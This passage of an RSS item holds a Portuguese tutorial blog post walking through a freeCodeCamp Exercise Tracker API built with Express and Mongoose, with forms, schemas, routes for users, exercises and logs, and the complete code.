const app = express()
const cors = require('cors')
require('dotenv').config()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Devemos adicionar as dependências do projeto tais como o Mongoose, para que funcione como nosso banco de dados NoSQL e o Body-parser para que possamos trabalhar com nossas requisições.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const express = require('express')
const app = express()
const cors = require('cors')
require('dotenv').config()
const mongoose = require('mongoose');
const bodyParser = require('body-parser');

app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json());

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Indo para o html:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;     &amp;lt;form action="/api/users" method="post"&amp;gt;
        &amp;lt;h3&amp;gt;Create a New User&amp;lt;/h3&amp;gt;
        &amp;lt;p&amp;gt;&amp;lt;code&amp;gt;POST /api/users&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;input id="username" type="text" name="username" placeholder="username" /&amp;gt;
        &amp;lt;input type="submit" value="Submit" /&amp;gt;
      &amp;lt;/form&amp;gt;
      &amp;lt;form id="exercise-form" method="post"&amp;gt;
        &amp;lt;h3&amp;gt;Add exercises&amp;lt;/h3&amp;gt;
        &amp;lt;p&amp;gt;&amp;lt;code&amp;gt;POST /api/users/:_id/exercises&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;input id="uid" type="text" name="_id" placeholder=":_id" /&amp;gt;
        &amp;lt;input id="desc" type="text" name="description" placeholder="description*" /&amp;gt;
        &amp;lt;input id="dur" type="text" name="duration" placeholder="duration* (mins.)" /&amp;gt;
        &amp;lt;input id="date" type="text" name="date" placeholder="date (yyyy-mm-dd)" /&amp;gt;
        &amp;lt;input type="submit" value="Submit" /&amp;gt;
      &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    &amp;lt;script&amp;gt;
      const exerciseForm = document.getElementById("exercise-form");

      exerciseForm.addEventListener("submit", () =&amp;gt; {
        const userId = document.getElementById("uid").value;
        exerciseForm.action = `/api/users/${userId}/exercises`;

        exerciseForm.submit();
      });
    &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Análisando o html vemos que este possui dois formulários que chamam rotas diferentes uma chama a rota ‘/api/users/’ com uma requisição do tipo POST e a outra ‘api/users/:_id/exercises’. &lt;/p&gt;

&lt;p&gt;Primeiramente,após definirmos as variaveis de ambiente e fazer a conexão com o AtlasDB devemos criar os Schemas e Modelos que usaremos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async function main() {
  await mongoose.connect(mySecret);
}
//-----------
const userSchema = mongoose.Schema({
  username: String,
  _id: String
});
const exerciseSchema = mongoose.Schema({
  duser: String,
  description:{
    type: String,
    required: true
  },
  duration:{
      type: Number,
      required: true
  },
  date: Date
});

var User = mongoose.model('user',userSchema);
var exercise = mongoose.model('exercise',exerciseSchema);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No primeiro requisito deve-se utilizando um nome de usuário fornecido no formulário 'Create a New User' para um usuário e devolva uma resposta em JSON com o nome do usuário e seu id&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.post('/api/users',async function(req,res){
  const user = req.body.username;
  try{
    const username = await User.findOne({username: user});
    if(username == null){
      let newId = new mongoose.mongo.ObjectId();
      const newUser = new User({username: req.body.username, _id: newId});
      await newUser.save();
      res.json({'username':newUser.username,'_id': newUser._id});
    }else{
      res.json({'username':username.username,'_id': username._id});
    }

  }catch(err){

    res.status(500).json(err);
  }
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No trecho de código acima, antes de registrar ele procura para ver se este usuário existe, caso o resultado seja "null" ele criara um novo usuário.&lt;/p&gt;

&lt;p&gt;Como requisito para terminar o projeto também é necessário que quando houver uma requisição do tipo GET para a mesma rota ela devolva um array de objetos com o nome de usuário e id dos usuários registrados,algo relativamente simples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.get('/api/users',async function(req,res){
  try{
    var users = [];
    users = await User.find();
    res.json(users);
  }catch(err){
    res.status(500).json(err);
  }

})

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A resposta do tipo get deve ser assim:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvgf4lspb01mg84j35u47.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvgf4lspb01mg84j35u47.JPG" alt="Image description" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Seguindo o desafio,devemos fazer com que a API possa salvar exercícios desde que ceda uma id(através da URL) de usuário,uma descrição e uma duração, caso uma data não seja cedida,devemos pegar a data atual.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.post('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  const data = req.body;

  let date;
  if(data.date == null || data.date == ''){
    date = new Date();
  }else{
    date = data.date;
  }

  try{
    const newexer = new exercise({
      duser: id,
      description:data.description,
      duration: data.duration,
      date:date
    });
    await newexer.save();
    const user = await User.findById(id).exec();

    res.json({
      username:  user.username,
      _id: user._id,
      description:newexer.description,
      duration:newexer.duration,
      date: new Date(newexer.date).toDateString()

    });
  }catch(err){
    res.status(500).json(err);

  }
});

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note que usaremos o campo "duser" para guardar o id do usuário. A rota de GET seguirá uma linha parecida com a anterior:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.get('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  try{
    const exers = await exercise.find({duser: id});
    res.json(exers);
 }catch(err){
    res.status(500).json(err);

  }
})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A rota agora construiremos a rota de logs, onde reside maior parte do desafio:&lt;br&gt;
   Quando solicitado à rota deve-ser devolver o objeto do usuário com o campo "count" que recebe o valor do número de exercicios cadastrados para o usuário, além do array dos exercicios, além da possibilidade de podermos filtrar por faixa de tempo, para isso usaremos o Postman.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo179hl8xufkaygcjx1u4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo179hl8xufkaygcjx1u4.png" alt="Image description" width="800" height="574"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vendo a parte tracejada em vermelho,temos um exemplo de solicitação GET onde a Query esta na URL, no caso após &lt;strong&gt;"?"&lt;/strong&gt; temos as condicionais que devem ser atendidas na consulta, para isso devemos criar um objeto que receba os parametros from,to e Limit usando o método &lt;strong&gt;"req.query"&lt;/strong&gt;, assim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.get('/api/users/:_id/logs',async function(req,res){
  const id = req.params._id;
  const { from, to, limit } = req.query;
  let dateObj = {}
  if (from) {
    dateObj["$gte"] = new Date(from)
  }
  if (to){
    dateObj["$lte"] = new Date(to)
  }
  let filter = {
    duser: id
  }
  if(from || to){
    filter.date = dateObj;
  }

  try{
    const user = await User.findById(id).exec();
    const exers = await exercise.find(filter).limit(+limit ?? 500);
    const num = await exercise.find({ duser: id}).count().exec();
    let log = exers.map((e) =&amp;gt; {
            return {
                'description': e.description,
                    'duration': e.duration,
                'date': new Date(e.date).toDateString()
        };
    });
    res.json({
      username: user.username,
      count : num,
      _id: user._id,
     log});
 }catch(err){
    res.status(500).json(err);

  }
})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A resposta deve ser assim: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foddfnsp1mqwkbs1h09dl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foddfnsp1mqwkbs1h09dl.png" alt="Image description" width="800" height="617"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Por fim, o código completo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const express = require('express')
const app = express()
const cors = require('cors')
require('dotenv').config()
const mongoose = require('mongoose');
const bodyParser = require('body-parser');

app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json());

app.use(cors())
app.use(express.static('public'))
app.get('/', (req, res) =&amp;gt; {
  res.sendFile(__dirname + '/views/index.html')
});

const mySecret = process.env['MONGO_URI']

main().catch(err =&amp;gt; console.log(err));

async function main() {
  await mongoose.connect(mySecret);
}
//-----------
const userSchema = mongoose.Schema({
  username: String,
  _id: String
});
const exerciseSchema = mongoose.Schema({
  duser: String,
  description:{
    type: String,
    required: true
  },
  duration:{
      type: Number,
      required: true
  },
  date: Date
});

var User = mongoose.model('user',userSchema);
var exercise = mongoose.model('exercise',exerciseSchema);
//------------
app.post('/api/users',async function(req,res){
  const user = req.body.username;
  try{
    const username = await User.findOne({username: user});
    if(username == null){
      let newId = new mongoose.mongo.ObjectId();
      const newUser = new User({username: req.body.username, _id: newId});
      await newUser.save();
      res.json({'username':newUser.username,'_id': newUser._id});
    }else{
      res.json({'username':username.username,'_id': username._id});
    }

  }catch(err){

    res.status(500).json(err);
  }
});
//--------------------
app.get('/api/users',async function(req,res){
  try{
    var users = [];
    users = await User.find();
    res.json(users);
  }catch(err){
    res.status(500).json(err);
  }

})

app.post('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  const data = req.body;

  let date;
  if(data.date == null || data.date == ''){
    date = new Date();
  }else{
    date = data.date;
  }

  try{
    const newexer = new exercise({
      duser: id,
      description:data.description,
      duration: data.duration,
      date:date
    });
    await newexer.save();
    const user = await User.findById(id).exec();


    res.json({
      username:  user.username,
      _id: user._id,
      description:newexer.description,
      duration:newexer.duration,
      date: new Date(newexer.date).toDateString()

    });
  }catch(err){
    res.status(500).json(err);

  }
});

app.get('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  try{
    const exers = await exercise.find({duser: id});
    res.json(exers);
 }catch(err){
    res.status(500).json(err);

  }
})

app.get('/api/users/:_id/logs',async function(req,res){
  const id = req.params._id;
  const { from, to, limit } = req.query;
  let dateObj = {}
  if (from) {
    dateObj["$gte"] = new Date(from)
  }
  if (to){
    dateObj["$lte"] = new Date(to)
  }
  let filter = {
    duser: id
  }
  if(from || to){
    filter.date = dateObj;
  }

  try{
    const user = await User.findById(id).exec();
    const exers = await exercise.find(filter).limit(+limit ?? 500);
    const num = await exercise.find({ duser: id}).count().exec();
    let log = exers.map((e) =&amp;gt; {
            return {
                'description': e.
description
,
              'duration': e.duration,
                'date': new Date(e.date).toDateString()
        };
    });
    res.json({
      username: user.username,
      count : num,
      _id: user._id,
     log});
 }catch(err){
    res.status(500).json(err);

  }
})

const listener = app.listen(process.env.PORT || 3000, () =&amp;gt; {
  console.log('Your app is listening on port ' + listener.address().port)
})

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;link do projeto no replit: &lt;a href="https://replit.com/@AdrielH024/boilerplate-project-exercisetracker?v=1" rel="noopener noreferrer"&gt;https://replit.com/@AdrielH024/boilerplate-project-exercisetracker?v=1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;link do projeto no github:&lt;br&gt;
&lt;a href="https://github.com/AdrielH024/free-Code-Camp-ExerciseTracker" rel="noopener noreferrer"&gt;https://github.com/AdrielH024/free-Code-Camp-ExerciseTracker&lt;/a&gt;&lt;/p&gt;

</description>
      <category>express</category>
      <category>javascript</category>
      <category>freecodecamp</category>
      <category>mongoose</category>
    </item>
  </channel>
</rss>
